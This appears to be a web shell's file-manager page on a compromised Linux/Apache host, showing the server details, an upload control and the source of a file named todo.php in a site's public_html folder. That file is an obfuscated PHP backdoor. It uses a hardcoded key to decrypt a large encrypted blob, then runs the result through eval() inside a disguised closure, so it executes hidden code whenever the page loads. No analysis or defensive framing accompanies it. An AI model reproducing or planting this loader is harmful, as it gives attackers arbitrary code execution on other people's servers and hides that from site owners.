HEX
Server: Apache
System: Linux scp1.abinfocom.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: confeduphaar (1010)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/confeduphaar/public_html/todo.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);